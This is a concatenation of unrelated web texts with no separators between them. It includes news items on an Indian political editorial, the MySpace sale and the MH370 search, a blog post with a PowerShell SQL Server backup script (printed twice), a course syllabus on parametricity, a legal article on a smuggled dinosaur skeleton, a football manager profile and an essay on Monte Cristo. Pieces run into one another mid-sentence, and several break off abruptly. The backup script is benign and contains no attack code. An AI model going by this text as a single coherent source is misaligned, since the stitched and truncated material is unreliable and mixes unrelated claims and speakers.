While questioning the need to impose President’s Rule, the mouthpiece also allayed fears that Himachal Pradesh could be the next in line as Himachal Chief Minister Birbhadra Singh has already been on the centre’s radar for quite some time. Terming BJP’s action as a repeat of what had been done by Congress in the eighties, the mouthpiece apprehended that the country will plunge into “anarchy and instability”. “We are opposed to the Congress’ ideology and its corrupt governments, but democratically elected governments must be removed from office through a democratic process only,” the Sena opined.News Corp. has sold struggling social networking site MySpace for $35 million, mostly in stock, according to a person familiar with the matter. The deal values MySpace at a fraction of what News Corp. paid for the site six years ago.
The sale to online advertising network operator Specific Media is expected to close later Wednesday, a day before the end of News Corp.'s fiscal year. News Corp. will maintain less than a 5 percent stake in the company.
The person was not authorized to speak publicly and spoke on condition of anonymity.
News Corp. bought MySpace for $580 million in 2005, but users and advertisers have fled the site for other hotter social networks like Facebook and Twitter.
Specific Media confirmed the acquisition but not the terms of the deal Wednesday.
"There are many synergies between our companies as we are both focused on enhancing digital media experiences by fueling connections with relevance and interest," said Specific Media CEO Tim Vanderhook, in a statement. "We look forward to combining our platforms to drive the next generation of digital innovation."
Specific Media, based in Irvine, California, was founded in 1999 by brothers Tim, Chris and Russell Vanderhook.
MySpace has been run by CEO Mike Jones, a University of Oregon alum. He sent an e-mail to staff today announcing the sale and
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"File"); $backup.BackupSetDescription = "Full backup of " + $db.Name + " " + $timestamp; $backup.Incremental = 0; # Starting full backup process. $backup.SqlBackup($srv); }; }; Write-Output ("Finished at: " + (Get-Date -format yyyy-MM-dd-HH:mm:ss));
I can run that script from Windows Task Scheduler on a SQL Express instance because…well…Task Scheduler comes cheap and does what I need it to do: run a script on scheduled basis. Now, creating backups is good, but cleaning up after yourself is better. I will point you to this script by Allen White (blog | @sqlrunr), since it is what I use anyway.
Now for the SQL Sugar: the new Windows PowerShell ISE. With the new ISE I get a lot of increased functionality such as improved intellisense and a command text window that lest me easily insert commands. I love showing off the new ISE to everyone, see how shiny it is:
As you type in the ISE you get intellisense, which makes finding what you want a LOT easier than always relying on “Get-Help” all day long:
And the command text window is just a wonderful gift:
This has reduced the amount of time it takes for me to build out PowerShell scripts. In fact, I was able to put together an updated script for backing up my instance of SQL Express in only a few minutes thanks to the new ISE allowing me to discover the Backup-SqlDatabase cmdlet.
Here is the updated version:
# backup_AllDb.ps1 # Full backup for database for specified SQL instance # # Change log: # July 3, 2012: Thomas LaRock, https://thomaslarock.com # Initial Version # Get the SQL Server instance name from the command line # leaving $dest null will result in default backup path being used param( [string]$inst=$null, [string]$dest=$null ) # Load SMO assembly, and if we're running SQL 2008 DLLs load the SMOExtended and SQLWMIManagement libraries $v = [System.Reflection.Assembly]::LoadWithPartialName( 'Microsoft.SqlServer.SMO') if ((($v.FullName.Split(','))[1].Split('='))[1].Split('.')[0] -ne '9') { [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMOExtended') | out-null [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SQLWMIManagement') | out-null } # Handle any errors that occur Function Error_Handler { Write-Host "Error Category: " + $error[0].CategoryInfo.Category Write-Host " Error Object: " + $error[0].TargetObject Write-Host " Error Message: " + $error[0].Exception.Message Write-Host " Error Message: " + $error[0].FullyQualifiedErrorId } Trap { # Handle the error Error_Handler; # End the script. break } $srv = new-object ('Microsoft.SqlServer.Management.Smo.Server') $inst # If missing set default backup directory. If ($dest -eq "") { $dest = $inst.Settings.BackupDirectory + "\" }; Write-Output ("Started at: " + (Get-Date -format yyyy-MM-dd-HH:mm:ss)); cd SQLSERVER:\SQL\$inst\Databases #start full backups foreach($database in (Get-ChildItem -Force)) { $dbName = $database.Name if ($dbName -ne "tempdb") { $timestamp = Get-Date -Format MMddyy $bakFile = $dest + $dbName + "_full_" + $timestamp + ".bak" Backup-SqlDatabase -Database $dbName -Initialize -BackupFile $bakFile } } Write-Output ("Finished at: " + (Get-Date -format yyyy-MM-dd-HH:mm:ss)); # backup_AllDb.ps1 # Full backup for database for specified SQL instance # # Change log: # July 3, 2012: Thomas LaRock, https://thomaslarock.com # Initial Version # Get the SQL Server instance name from the command line # leaving $dest null will result in default backup path being used param( [string]$inst=$null, [string]$dest=$null ) # Load SMO assembly, and if we're running SQL 2008 DLLs load the SMOExtended and SQLWMIManagement libraries $v = [System.Reflection.Assembly]::LoadWithPartialName( 'Microsoft.SqlServer.SMO') if ((($v.FullName.Split(','))[1].Split('='))[1].Split('.')[0] -ne '9') { [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMOExtended') | out-null [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SQLWMIManagement') | out-null } # Handle any errors that occur Function Error_Handler { Write-Host "Error Category: " + $error[0].CategoryInfo.Category Write-Host " Error Object: " + $error[0].TargetObject Write-Host " Error Message: " + $error[0].Exception.Message Write-Host " Error Message: " + $error[0].FullyQualifiedErrorId } Trap { # Handle the error Error_Handler; # End the script. break } $srv = new-object ('Microsoft.SqlServer.Management.Smo.Server') $inst # If missing set default backup directory. If ($dest -eq "") { $dest = $inst.Settings.BackupDirectory + "\" }; Write-Output ("Started at: " + (Get-Date -format yyyy-MM-dd-HH:mm:ss)); cd SQLSERVER:\SQL\$inst\Databases #start full backups foreach($database in (Get-ChildItem -Force)) { $dbName = $database.Name if ($dbName -ne "tempdb") { $timestamp = Get-Date -Format MMddyy $bakFile = $dest + $dbName + "_full_" + $timestamp + ".bak" Backup-SqlDatabase -Database $dbName -Initialize -BackupFile $bakFile } } Write-Output ("Finished at: " + (Get-Date -format yyyy-MM-dd-HH:mm:ss));
There’s not much difference, really, just four lines or so of code, but I like the format here because it is easier for me to understand what is being done. It is also easier for me to make changes to the backup command by adding in the necessary parameters right there on the one line. Besides the backup-SqlDatabase cmdlet I also want to point out the -Force parameter in the Get-Childitem line. I need that parameter in order to get the system databases listed, otherwise we would only be backing up the user databases. You can see this for yourself by connecting to your SQL instance and running this:
PS SQLSERVER:\SQL\[instance name]\databases> Get-ChildItem PS SQLSERVER:\SQL\[instance name]\databases> Get-ChildItem
and then comparing the output to this:
PS SQLSERVER:\SQL\[instance name]\databases> Get-ChildItem -Force PS SQLSERVER:\SQL\[instance name]\databases> Get-ChildItem -Force
Bottom line, I am enjoying PowerShell more now that I have the new ISE. I find it takes less time for me to complete what appear to be very basic tasks. I still would not advocate that you rewrite existing scripts just because you can, you still need to find a good reason to invest the time in rewriting everything you have built. But once you start using PowerShell you will suddenly realize all of the great things it can do for you and you are going to want to start rewriting things anyway!Parametricity and Modular Reasoning
Instructor: Derek Dreyer
TA/Scribe: Dave Swasey
Meeting time: Tue, Thu @ 2:00-4:00 PM
Place: Campus E1.5, Room 029 (videocast to KL)
Abstract
Abstract data types (ADTs) and other facilities for information hiding in programming languages (e.g. private fields, local variables) are widely considered to be crucial for supporting data abstraction and modularity, but what does that actually buy us in terms of reasoning about our code? As it turns out, it buys us a great deal, but formalizing what it buys us, especially in the context of modern programming languages, is quite tricky.
The formal essence of data abstraction was first characterized by John Reynolds in a landmark 1983 paper, "Types, Abstraction and Parametric Polymorphism", in which he introduced the concept of "relational parametricity" via his "abstraction theorem". The abstraction theorem formally establishes that the behavior of clients of an ADT must be unaffected by changes to the internal representation of the ADT that are preserved by its operations. However, Reynolds's original work only concerned pure System F, the polymorphic lambda-calculus, and there have since been decades of work on extending and generalizing his results to richer, more realistic languages supporting a host of computational effects.
In this course, we will start with Reynolds's work and build progressively toward semantic models of modern languages, such as Kripke logical relations and bisimulations models, which support very subtle and sophisticated forms of modular reasoning. To keep the formal material of the course in a unified framework, we will focus on models of data abstraction based on *operational* semantics, in the tradition of the work of Andrew Pitts.
As a basic prerequisite, students should be familiar with standard operational techniques, such as proofs by induction over operational semantics and type systems, which are covered in Pierce's TAPL book and Harper's PFPL book, among other sources. The grade will be based on homework assignments, student presentations on assigned papers, and class participation.
Along the way, we will explore a number of the following topics, possibly among others:
Proving termination/normalization of System F (Girard's method, "unary logical relations")
Relational parametricity (Reynolds's abstraction theorem, "binary logical relations")
Representation independence as an application of parametricity (Mitchell)
Using parametricity to show definability of types by Church encodings
"Free" theorems (Wadler) and applications to fusion optimizations (Johann)
Relational parametricity and "units of measure" (Kennedy)
Supporting recursion and context-sensitive semantics by "TT-closure" (Pitts)
Supporting local invariants on first-order state via "Kripke logical relations" (Pitts-Stark)
Supporting recursive types and higher-order state by "step-indexed" Kripke logical relations (Appel-McAllester, Ahmed)
Transitional invariants (Dreyer et al.)
Environmental bisimulations (Sumii et al.)
Parametric bisimulations (Hur et al.)
Logical relations for concurrency (Turon et al.)
ScheduleCourt United States District Court for the Southern District of New York Full case name United States
v.
One Tyrannosaurus Bataar Skeleton Decided May 6, 2013 ( ) Citation(s) 1:13−cv−00857
United States v. One Tyrannosaurus Bataar Skeleton (1:13−cv−00857) is a 2013 United States District Court for the Southern District of New York judgement regarding a requested order from the United States government to seize an imported Mongolian Tyrannosaurus bataar skeleton related to smuggling law and the applicability of Mongolian law in the United States.[1]
The form of the styling of this case — the defendant being an object, rather than a legal person — is because this is a jurisdiction in rem (power over objects) case, rather than the more familiar in personam (over persons) case.
History [ edit ]
Customs officials with the skeleton
In 2012, Eric Prokopi imported a Tyrannosaurus bataar (or Tarbosaurus bataar) skeleton from Mongolia into the United Kingdom. From there he imported it into the United States declaring on the import customs form that the skeleton originated in Great Britain.[1] The skeleton was sold in New York for over $1 million. However, the Government of Mongolia declared an interest in the skeleton and obtained a restraining order preventing the sale being completed. This was because the Constitution of Mongolia declares that all dinosaur fossils are "culturally significant" and can not be removed from Mongolia without government consent.[2] Paleontologists examined the skeleton and confirmed it was of Mongolian origin and not British origin as the import papers had indicated.[3] The United States Attorney's Office filed a complaint with the court with regard to the false import documents and to seize the skeleton with the aim of repatriating it to Mongolia.[1]
Prokopi argued against this, claiming that the majority of the skeleton was already in the United States and did not comprise part of the shipment that had false import papers claiming it was from the UK instead of Mongolia. He also argued that Tyrannosaurus bataar could also be found in China and not solely in Mongolia so there was doubt as to if the skeleton did belong to Mongolia. He also argued that while the Constitution of Mongolia prohibited export of "culturally significant" artifacts, it did not apply under United States law.[3]
Judgement [ edit ]
Specimen repatriated to Mongolia from the US in 2013
In October 2012, Prokopi was arrested in relation to the Tyrannosaurus bataar skeleton as well as two other dinosaur skeletons on counts of conspiracy to smuggle illegal goods, possess stolen property, and make false statements, one count of smuggling goods into the United States, and one count of interstate sale and receipt of stolen goods. As part of his plea bargain, he agreed to give up all claims to the skeletons. As a result of the withdrawal of title to the skeleton, in 2013 the judge dismissed Prokopi's complaint and granted the United States the right to seize the skeleton in order to return it to Mongolia.[4] Prokopi was later jailed for three months.[5] In May 2013, the United States returned the skeleton to Mongolia,[6] where it was put on display at a pop-up museum in Sukhbaatar Square in the capital, Ulaanbaatar[7], and then exhibited in Darkhan.[8]
Legacy [ edit ]
The case was later cited as precedent for the principle that the government may provide paleontological evidence if a country of origin is obscured.[9] The case also brought about a discussion in American media regarding the effect of "dinosaur smuggling".[8][10][11]
In 2015, American actor Nicolas Cage returned a Tyrannosaurus bataar skull he had purchased in 2007 (after outbidding Leonardo DiCaprio). The skull was purchased from a gallery which has previously sold fossils smuggled by Prokopi.[5][12]Are you prone to that most glorious form of humor known as sarcasm? Do your e-mail contacts frequently misinterpret your superior wit as outright cruelty? SarcMark has the solution you require.
At present, you probably use emoticons in order to make your feelings known via text or e-mail — cushioning a slight reprimand to a co-worker or friend with a friendly: :)
Now there's a whole new symbol to add to your lexicon, the SarcMark, which looks something like a whirlpool with a dot in the middle (see image above). Here's what the website has to say about the product:
"With the spoken word, we use our tone, inflection and volume to question, exclaim and convey our feelings. The written word has question marks and exclamation points to document those thoughts, BUT sarcasm has NOTHING! In today’s world with increasing commentary, debate and rhetoric, what better time could there be than NOW, to ensure that no sarcastic message, comment or opinion is left behind Equal Rights for Sarcasm - Use the SarcMark."
You can download the SarcMark at the company's website for Windows 7, Windows XP, Windows Vista and mobile devices for use in Word documents, e-mail, instant messaging and more. After downloading, all you have to do is hit "Ctrl" and "." and the mark will appear, instantly giving wry impact to the sentence in question.
The symbol costs $1.99, which seems a small price to pay for conversational clarity.
Fun Fact: "Sarcasm" comes from the Latin sarcasmos, which means "to tear flesh." How bad-ass is that?Media playback is unsupported on your device Media caption The search teams look away from the ocean only occasionally to rest their eyes, as Jonathan Head reports
New data from a French satellite shows potential debris from Malaysia Airlines flight MH370 in the southern Indian Ocean, France's foreign ministry says.
Radar echoes had picked up several objects about 2,300km (1,430 miles) from Perth, a statement added.
It is the third possible sighting in the area off western Australia that has become the focus of the search effort.
Flight MH370 disappeared on 8 March while en route from Kuala Lumpur to Beijing, with 239 people on board.
Malaysian officials believe the plane was deliberately taken off course.
Based on information received from a satellite, the search has been in two distinct corridors - one stretching to the north-west of the last known location in the Malacca Straits and one to the south-west.
However, none of the countries on the northern corridor have reported any radar contact, and the satellite images of possible debris in the south Indian Ocean have concentrated the search there.
'No sightings'
On Sunday, a statement published on the Malaysian ministry of transport's Facebook page said: "This morning, Malaysia received new satellite images from the French authorities showing potential objects in the vicinity of the southern corridor.
Search planes involved Australia : Two P-3 Orions; two Bombardier Global Express; one Gulfstream 5; one Airbus 319
: Two P-3 Orions; two Bombardier Global Express; one Gulfstream 5; one Airbus 319 China : Two IL-76 jets (not yet deployed)
: Two IL-76 jets (not yet deployed) Japan : Two P-3 Orions (not yet deployed)
: Two P-3 Orions (not yet deployed) New Zealand : One P-3 Orion
: One P-3 Orion US: One P-8 Poseidon
"Malaysia immediately relayed these images to the Australian rescue co-ordination centre."
An unnamed Malaysian official told the Associated Press that the new satellite image was taken on Friday, and that one of the potential objects was estimated to be about the same size as one spotted by a Chinese satellite that appeared to be 22m (72ft) by 13m (43ft).
The possible debris was located about 930km (575 miles) north of where the objects reported by China and Australia over the past week, the official added.
A French foreign ministry statement said the objects were about 2,300km from Perth, but did not give a direction or say when the discovery was made.
It also clarified that the French authorities had passed on data in the form of "satellite-generated radar echoes" rather than images. Radar works by sending out radio waves or microwaves and listening for echoes that bounce back.
"France has decided to mobilise complementary satellite means to continue the search in the identified zone," the ministry statement added.
The Australian Maritime Safety Authority (Amsa) subsequently announced that that the search operation in the southern Indian Ocean had concluded for the day.
Image copyright AFP Image caption HMAS Success, under Capt Allison Norris, is the only ship so far in the search zone
Image copyright AFP Image caption Japanese P-3C Orion aircraft arrived at RAAF Base Pearce on Sunday to assist in the search
Image copyright Getty Images Image caption The anxious wait continues for relatives in Beijing
Image copyright AFP Image caption Origami cranes, containing prayers and messages for those on flight MH370, in Bangsar, Malaysia
"There were no sightings of significance," a statement said. "The search area experienced early sea fog particularly in the western areas, however conditions improved during the day."
Amsa said the four military and four civilian aircraft involved in Sunday's search effort had covered a total of 59,000 sq km (22, 780 sq miles) south-west of Perth. Chinese military Ilyushin IL-76 aircraft and Japanese P-3C Orion aircraft would join the search on Monday, it added.
HMAS Success, an Australian navy supply ship, also took part in Sunday's operation.
A key focus on Sunday was the sighting on Saturday of a wooden cargo pallet, along with belts or straps.
Mike Barton, operations co-ordinator at Amsa, said: "Part of the description was a wooden pallet and a number of other items which were nondescript around it and some belts of some different colours around it as well, strapping belts of different lengths."
He added: "We tried to re-find that yesterday, one of the New Zealand aircraft, and unfortunately they didn't find it. That's the nature of it - you only have to be off by a few hundred metres in a fast-travelling aircraft."
Pallets are used for shipping as well as plane cargo and Mr Barton urged caution, saying the sighting "could be anything".
'I miss my son'
Earlier, Australian Prime Minister Tony Abbott said the sightings of objects were encouraging signs.
Media playback is unsupported on your device Media caption Australia PM Tony Abbott: "There is increasing hope that we might be on the road to discovering what did happen to this ill-fated aircraft"
"Obviously we have now had a number of very credible leads and there is increasing hope - no more than hope, no more than hope - that we might be on the road to discovering what did happen to this ill-fated aircraft," he said.
On Saturday, China released a satellite image showing an object floating in the southern Indian Ocean near to the area already being searched, some 2,500 km (1,550 miles) south-west of Perth.
The grainy image was released by China's State Administration of Science, Technology and Industry for National Defense.
The Xinhua state news agency said the image was taken at about 04:00 GMT on 18 March and showed objects about 120km "south by west" from the site of possible debris shown in another satellite image from 16 March.
Image copyright Amsa Image caption The Indian Ocean search was sparked by this satellite image taken on 16 March of an object 24m in size
Malaysian Defence Minister Hishammuddin Hussein put a message on his Twitter account on Sunday urging a "prayer please" for the passengers and crew on flight MH370.
Relatives and friends are still waiting anxiously for news in hotels in Beijing and Malaysia.
In the Everly Hotel in Putrajaya, Malaysia, Kamariah Sharif, the mother of missing passenger Mohamad Razahan Zamani, told Reuters: "Allah give me strength and guidance, I can't tell you how much I miss my son. This has gone on so long. I pray that he is safe."
In Beijing, Wang Zheng, whose father and mother were on the plane, told Associated Press: "I can't eat, I can't sleep. I've been dreaming of my parents every day."bollywood
Hindu College students worship 'Damdami Mai', an actress chosen by hostellers each year, at a 'puja' at the 'Virgin Tree' in campus on Valentine's Day. This year, B-Town diva Disha Patani is the chosen one
Bizarre! Disha Patani to be worshipped at 'puja' where condoms will be used to decorate 'Virgin Tree'. Pic/Dabboo Ratnani's Twitter account
Hindu College students, who are single, worship 'Damdami Mai', an actress chosen by hostellers each year, at a 'puja' at the 'Virgin Tree' in campus on Valentine's Day. This year, Bollywood actress Disha Patani is the chosen one.
The Times of India quoted Vaibhav Singh, a second-year student and hosteller at Hindu College, as saying, "The second and third-year hostellers have chosen her. We picked her after having a meeting. Along with Disha, one name that was also considered was of Nargis Fakhri, but since most of the guys liked Disha, we have chosen her as our Damdami Mai."
He told the newspaper, "Damdami Mai is usually the actress who has been popular in that particular year, and who is also voted for by the most hostellers. Like always, we will have the puja on the morning of February 14. And a fresher will perform the puja as he will be the pandit for that day. As always, condoms will be used to decorate the Virgin Tree."
The daily reported that it is believed by the students that all those who participate in the 'puja' 'will find the one' within six months, and lose their virginity within a year, of performing the 'puja'.Advertisement 1 in 4 men don't think exposing themselves constitutes sexual harassment, survey finds Share Shares Copy Link Copy
Perhaps not surprisingly, men and women are not on the same page when it comes to what constitutes sexual harassment, a survey by the Barna Group found.The research group asked over 1,000 Americans "What do you think counts as sexual harassment?" in an online survey. They were told to select all that apply.The survey found that 91 percent of women and 83 percent of men thought "being forced to do something sexual" fit the bill.If that doesn't count as sexual harassment, what does? Who are the 17 percent of men and 9 percent of women who don't agree?Men were even less likely to characterize behaviors that didn't involve physical touch as sexual harassment. Twenty-four percent thought flashing someone doesn't count and 30 percent thought making sexual comments about someone's body isn't harassment.What constitutes harassment in the workplace?Sarah Layden, director of advocacy services at Rape Victim Advocates, joins the set to talk about defining harassment in the workplace.Nearly half of men thought pushing up against someone on public transportation doesn't constitute harassment, but most women (70 percent) disagreed. Merriam-Webster defines sexual harassment as "uninvited and unwelcome verbal or physical behavior of a sexual nature especially by a person in authority toward a subordinate (such as an employee or student)."Women were consistently more likely to consider a behavior a sexual harassment in all but one category of the Barna Group survey.The research group didn't provide detailed explanations on why its respondents may have chosen as they did, but it's possible to imagine a few complications with the survey's wording. For example, some may have thought behaviors like following someone or staring should be defined as harassment, not necessarily sexual harassment.It's also possible that in some cases, respondents thought the categorization of "sexual harassment" was not harsh enough, and that some behavior should be identified as "sexual assault."It's not clear whether respondents were provided with a definition of sexual harassment before participating in the survey.You can read the full results of the survey here.The best way to understand Mauricio Pochettino is to observe him in action as a player, a coach at the training ground, or, better still, both. A few years ago, Southampton released a video in which he takes on Luke Shaw in game of two-touch football tennis. While Shaw is casual and light-hearted, Pochettino is engrossed, vocal, competitive. One ace merits clenched fists and cries of ‘Vamos! Vamos!’. A failed attempt at chesting the ball over the net triggers a despairing ‘Nooooo!’. When he wins the match, he sinks to his knees in celebration. This is the real Pochettino—a man of fervent ambition, discipline and dedication—whose temperament infuses teams that fight tooth and nail. His composed touchline persona can deceive. In one press conference, in which he admitted to having lost his rag with the players at half-time, it was put to him that such behaviour might seem out of character. “Really?” he replied. “I don’t really see myself in that way. I’ve kept up appearances quite well.”
On weekdays, Pochettino typically arrives at 7am and leaves at about 8pm. “My life is to go from the hotel to the training ground,” he once told the BBC. “In football there is not really a timetable; we just work all day long.” His players speak of a gruelling fitness regime that can feature up to three sessions a day. Pochettino has been known to organise drills of fifteen-minute intervals in which he pretends to forget the time, so that the players work harder and for longer than they think. Jack Cork said it felt like you needed two hearts to play for him. “He makes you suffer like a dog, and at the time you hate him for it,” Dani Osvaldo said. “But by the Sunday, you’re grateful, because it works.”
Success has followed Pochettino in all his jobs—Espanyol, Southampton, Tottenham—but he has sought no credit. In March, the Argentine magazine El Gráfico ran a rare interview in which they asked him why he so rarely did press. Even in his home country, people knew little about him. But Pochettino has no need to be appreciated or understood. “Praise isn’t something that moves me, because in truth, the most important thing is the collective—it is about the team, the club,” he once said. “Awards and hype are not important for me.” Whereas other managers indulge in the cultivation of their own image, Pochettino does not even have an agent. There are no endorsements, no public relations, no social media. “I don’t need five hundred thousand followers to feel good,” he told El Gráfico.
One of the most illuminating parts of the Gráfico interview came not from Pochettino, but from Lorena González, a journalist who had followed him since his time at Espanyol. “He is methodological about diets and time-keeping,” she said. “He is very detailed, keeps fit and has a fanatical relationship with work and discipline, punctuality and seriousness; and this is why he clashes with the more casual style that we sometimes show in Argentina… He has a very strong character. He’s suspicious, but once you win his loyalty, he’ll never let you down.”
One of the first people to gain his trust was Marcelo Bielsa. They first met when Bielsa turned up at his family’s house with his colleague Jorge Griffa. At that time, Pochettino was a fourteen-year-old boy living in Murphy, a small town situated a four-hour drive west of Buenos Aires. “What I did every day was go to school and play football all day long with my friends,” Pochettino would tell the BBC. “We didn’t have a TV in the house.” His parents did eventually buy a black-and-white set that his dad would power with a tractor battery, so Pochettino watched Daniel Passarella and Mario Kempes lead Argentina to their first World Cup triumph, on home soil, in 1978.
That day when Bielsa and Griffa appeared, Pochettino could hardly have contemplated the prospect of turning professional. It was one o’clock in the morning, and he was fast asleep.
“He looks like a footballer,” Bielsa is supposed to have said. They decided to sign him. Packing his bags, Pochettino left home to live in a pensión, shivering through sleepless nights as his friends were tucked in by their mothers. “It was very tough, but I was lucky,” Pochettino later said, according to The Sunday Times. “I had good people around me who helped me at that stage of my life. It’s important, because you need to learn the good from the bad. When you experience good things in your career it makes you not just a better player, but a better character.”
The nocturnal visit will not have surprised those who knew Bielsa. Nor would much else. Born into a family of lawyers and politicians, he had chosen football as the subject to which his obsessive nature and enormous work-rate would be applied. Having closed the book on an unspectacular playing career, at twenty-five, he moved to Buenos Aires to coach the university team. According to a piece written by Jonathan Wilson for Eight by Eight, he scouted three thousand players before selecting a squad of twenty. When once asked how he would spend his Christmas holiday, Bielsa outlined a daily schedule that contained two hours of exercise and fourteen hours of video analysis. Two years later, when taking a role at the Newell’s youth academy, he embarked on a crisscross scouting tour of Argentina, clocking up five thousand miles in a Fiat 147.
In 1990, Bielsa took charge of the Newell’s first team. Shaped by the Ajax school of the 1970s, he introduced a radical formations and a style of vertical passing and constant pressing. Those principles would inspire fellow managers to such an extent that Bielsa would become more known for his tactical influence than his trophy collection. Pep Guardiola and Jorge Sampaoli would seek his counsel, while Eduardo Berizzo and Gerardo Martino played for Newell’s at the time. One of the players that would pay tribute was Gabriel Batistuta, an academy graduate. Pochettino would draw on his erudition both as a player and a manager. Having debuted at sixteen, in 1988, he entered a thriving learning environment in which Bielsa instructed youngsters to draw up tactical dossiers on future opponents and read newspapers. This was not conventional coaching, but nor was Bielsa a conventional coach. In one game, Pochettino netted a header, only to receive an earful for having been in the wrong position.
The Bielsa years were memorable for Newell’s. In 1991 they won the Argentine championship; in 1992 they claimed the Clausura. That year they also reached the semi-finals of the Copa Libertadores, in which they faced América de Cali. For the second leg, in Colombia, the players were bombarded with batteries from the stands. One player needed stitches in his head. At other away games, rival fans would smash the windows of the team bus as the players took cover on the floor. “Sometimes, you are worried for your life,” Pochettino would say. But it steeled him for the future. “When I came over to France, England or Spain, people told me it was difficult to play,” he said. “But when we arrived, it was nothing. They shout when something goes wrong, but nothing else. This is easy.”
That night in Colombia, Pochettino scored to secure a draw as Newell went through on penalties. They later lost the final to São Paulo in the same manner. That year, Bielsa resigned.
While Bielsa’s tactics have reverberated in the work of several top coaches, his mentality has also been influential. Pochettino shares many of his traits. Consider the shouts from the bench on match days, the apathy towards press and praise, the herculean demands of himself and his squad. In his Eight by Eight piece, Wilson writes that “both Bielsa’s apologists and his critics agree that he is relentless, a workaholic who expects others to work as hard as he does”. This attitude hit Pochettino in a formative period and might well have shaped the kind of player he would become after leaving for Espanyol in 1994—a strong and aggressive centre-back of great leadership and fortitude. “There is no doubt that he had an effect on me,” Pochettino told FIFA.com in 2011. “He helped me to mature when I was starting my career at Newell’s, he helped me in the national team, and he’s even helped me since I took over at Espanyol.”
When Pochettino joined Espanyol, at twenty-two, the club had just been promoted to La Liga. Over the next six years, he became a mainstay and played with profiles such as Ismael Urzaiz, Raúl Tamudo and Iván Helguera. Coaches included José Antonio Camacho and Paco Flores. There was also a brief reunion with Bielsa in 1998, but he soon left to take the Argentina post. (Bielsa would lead Argentina for six years, during which Pochettino earned all his twenty caps.) At Espanyol, Pochettino became captain and guided the side to the Copa del Rey trophy in 2000. Half a year later he moved to Paris Saint-Germain, where he played with Mikel Arteta, Laurent Robert, Jay-Jay Okocha, Nicolás Anelka, Ronaldinho. After a sojourn at Bordeaux in 2003, he returned to Espanyol, first on loan, then permanently, in the summer of 2004. In 2006, they won another Copa del Rey. By that time Pochettino had made more than three hundred club appearances and, the same year, at thirty-four, he announced his retirement in a tearful press conference.
Listening to his former colleagues and coaches, a character emerges that seemed suited to management. “Pochettino had great charisma in the dressing room,” Flores said, according to The Guardian. “He never, ever accepted defeat and there was a huge amount of respect for him, almost like the hierarchy when you’re doing military service.” At PSG, he was made captain within a year. “We used to discuss tactics a lot,” Flores continued. “There would be debates, and you always got something out of it. He was meticulous and above all very ambitious. On the pitch, he was the coach’s arm.” A similar sense of leadership was noticed by Pablo Zabaleta, a team-mate in his second spell at Espanyol, who said: “I knew he was going to become a good manager.” So dominant was Pochettino, on and off the pitch, that the fans had nicknamed him ‘The Sheriff of Murphy’.
After retirement, Pochettino was never likely to opt for golf and punditry. He later spoke of how it was important for him to step outside the surreal bubble in which footballers live. He did a master in business management. (No wonder Daniel Levy would hire him.) As a player, he had prepared his next move. “I was a coach, but from below my neck I was still a player,” he said, according to The Sunday Times. “I wasn’t making notes or anything like that. I was not organised enough, but I always had the idea of being a manager and I was always making mental notes. I knew what I wanted to do. I didn’t just stop playing and think, ‘Now what?’”
In January 2009, Espanyol parted ways with José Manuel Esnal, who had failed to win any of his six league games since succeeding Bartolomé Márquez
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Cristo. He makes his way to Paris, and contrives to bring about the ruin, madness, or death of his foes.
Monte Cristo, however, sees himself not as an avenger, but as an implacable agent of divine providence sent to dispense justice among the throngs of humanity above which he has risen. His mastery is complete; nothing can stand in his way; his will is that of the superhuman– of the superman:
“You may, therefore, comprehend, that being of no country, asking no protection from any government, acknowledging no man as my brother, not one of the scruples that arrest the powerful, or the obstacles which paralyze the weak, paralyzes or arrests me. I have only two adversaries — I will not say two conquerors, for with perseverance I subdue even them, — they are time and distance. There is a third, and the most terrible — that is my condition as a mortal being. This alone can stop me in my onward career, before I have attained the goal at which I aim, for all the rest I have reduced to mathematical terms. What men call the chances of fate — namely, ruin, change, circumstances — I have fully anticipated, and if any of these should overtake me, yet it will not overwhelm me. ” –Monte Cristo, chapter 48
Small wonder Antonio Gramsci maintained that Fascists and other worshippers of the superman took their template, not from Nietzsche, but from Dumas! As quoted in Umberto Eco’s Il superuomo di massa, Gramsci points out that “the serial novel replaces (and at the same time favorises) the imagination of the man of the people, it is a true waking dream[…] long reveries on the idea of revenge, of punishing the guilty for inflicted hurts […]“ And today, the bullied kid identifies with Batman beating up thugs that stand as proxies for his tormentors.
To be fair to Monte Cristo, the superman in question comes to doubt more and more the validity of his exalted state and supposedly divine mission; the turning point comes when he beholds that his vengeful machinations have brought about the death of an innocent. Here is the climax of his final confrontation with his odious enemy Villefort:
“There! Edmond Dantès”, said he, showing the corpse of his wife and the body of his son, “there! Look! Are you well avenged…?” Monte Cristo paled at this horrible sight; he understood that he had just overstepped the rights of vengeance; he understood that he could no longer say: “God is for me and with me.”
And indeed, Monte Cristo ends by forgiving his last foe standing, the banker Danglars,after tormenting him for days. Forgiveness? Supermen should be made of sterner stuff. Nietzsche would have turned away in disgust.
art by Alex Blum
How does Monte Cristo relate to the modern superhero, as Umberto Eco suggested?
He has a traumatic origin story, from which he emerges transformed into a superior being; he has a superpower– and a pretty realistic one– limitless wealth ; a master of disguise, he adopts several secret identities; he worksoutside the law to bring about justice to evildoers.
And, most importantly, he is a fantasy projection with which the reader identifies, the imaginary righter of his own perceived wrongs.
Nonetheless, his final remorse and doubts set him apart from the American superman, who seldom if ever feels such wimpish emotions.
Another reason why the superhero never really took off in old, conflicted Europe– which yet had much to contribute to its mythology…
Art by John Buscema and Ernie Chan
Next: Supermen of Science — Verne and EdisonFormer U.S. Attorney Jenny Durkan is expected to announce Friday she will run for Seattle mayor. Durkan would likely become an immediate front runner in the now congested mayor’s race.
The news comes the same week that Mayor Ed Murray announced he would not seek re-election as he battles allegations he sexually abused teens in the 1980s.
Durkan is the former U.S. Attorney for Western Washington who was appointed by President Barack Obama in 2009. During her term, she helped lead the federal efforts to reform the Seattle Police Department by suing the city after numerous civil rights complaints. That led to the current consent decree.
Durkan was believed to be the first openly gay U.S. Attorney at that time and also gained a reputation as being tough on cybercrime. She stepped down in 2014 and has been working in private practice since.
She had previously been a significant Democratic booster and is the daughter of Martin Durkan, who was a powerful, longtime state lawmaker.
At least a dozen candidates have declared including former Seattle Mayor Mike McGinn.
The filing deadline for candidates is May 19, and the first big test is the August primary.
Copyright 2017 KINGTeam Kalitta announces immediate expansion with Global Electronic Technology-sponsored dragster for former Champion Langdon
About Kalitta Motorsports:
